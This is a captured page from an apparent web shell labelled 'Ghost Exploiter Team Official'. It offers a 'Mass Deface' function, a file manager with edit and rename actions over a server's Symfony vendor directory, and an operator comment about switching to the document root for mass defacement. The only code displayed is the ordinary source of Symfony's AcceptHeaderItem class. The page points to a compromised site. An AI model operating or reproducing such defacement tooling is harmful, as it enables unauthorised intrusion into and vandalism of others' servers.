Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
symfony
/
http-foundation
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
Exception
--
ren
File
--
ren
RateLimiter
--
ren
RequestMatcher
--
ren
Session
--
ren
Test
--
ren
AcceptHeader.php
8.811KB
edt
ren
AcceptHeaderItem.php
3.158KB
edt
ren
BinaryFileResponse.php
13.226KB
edt
ren
CHANGELOG.md
22.019KB
edt
ren
ChainRequestMatcher.php
0.853KB
edt
ren
Cookie.php
11.53KB
edt
ren
EventStreamResponse.php
2.876KB
edt
ren
FileBag.php
3.767KB
edt
ren
HeaderBag.php
6.937KB
edt
ren
HeaderUtils.php
9.073KB
edt
ren
InputBag.php
5.259KB
edt
ren
IpUtils.php
8.985KB
edt
ren
JsonResponse.php
6.446KB
edt
ren
LICENSE
1.043KB
edt
ren
ParameterBag.php
8.03KB
edt
ren
README.md
0.514KB
edt
ren
RedirectResponse.php
2.567KB
edt
ren
Request.php
75.754KB
edt
ren
RequestMatcherInterface
...
0.606KB
edt
ren
RequestStack.php
3.051KB
edt
ren
Response.php
39.601KB
edt
ren
ResponseHeaderBag.php
7.789KB
edt
ren
ServerBag.php
3.916KB
edt
ren
ServerEvent.php
3.299KB
edt
ren
StreamedJsonResponse.php
5.64KB
edt
ren
StreamedResponse.php
3.568KB
edt
ren
UriSigner.php
7.53KB
edt
ren
UrlHelper.php
3.051KB
edt
ren
composer.json
1.33KB
edt
ren
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; /** * Represents an Accept-* header item. * * @author Jean-François Simon <contact@jfsimon.fr> */ class AcceptHeaderItem { private float $quality = 1.0; private int $index = 0; private array $attributes = []; public function __construct( private string $value, array $attributes = [], ) { foreach ($attributes as $name => $value) { $this->setAttribute($name, $value); } } /** * Builds an AcceptHeaderInstance instance from a string. */ public static function fromString(?string $itemValue): self { $parts = HeaderUtils::split($itemValue ?? '', ';='); $part = array_shift($parts); $attributes = HeaderUtils::combine($parts); return new self($part[0], $attributes); } /** * Returns header value's string representation. */ public function __toString(): string { $string = $this->value.($this->quality < 1 ? ';q='.$this->quality : ''); if (\count($this->attributes) > 0) { $string .= '; '.HeaderUtils::toString($this->attributes, ';'); } return $string; } /** * Set the item value. * * @return $this */ public function setValue(string $value): static { $this->value = $value; return $this; } /** * Returns the item value. */ public function getValue(): string { return $this->value; } /** * Set the item quality. * * @return $this */ public function setQuality(float $quality): static { $this->quality = $quality; return $this; } /** * Returns the item quality. */ public function getQuality(): float { return $this->quality; } /** * Set the item index. * * @return $this */ public function setIndex(int $index): static { $this->index = $index; return $this; } /** * Returns the item index. */ public function getIndex(): int { return $this->index; } /** * Tests if an attribute exists. */ public function hasAttribute(string $name): bool { return isset($this->attributes[$name]); } /** * Returns an attribute by its name. */ public function getAttribute(string $name, mixed $default = null): mixed { return $this->attributes[$name] ?? $default; } /** * Returns all attributes. */ public function getAttributes(): array { return $this->attributes; } /** * Set an attribute. * * @return $this */ public function setAttribute(string $name, string $value): static { if ('q' === $name) { $this->quality = (float) $value; } else { $this->attributes[$name] = $value; } return $this; } }
<=Back
Liking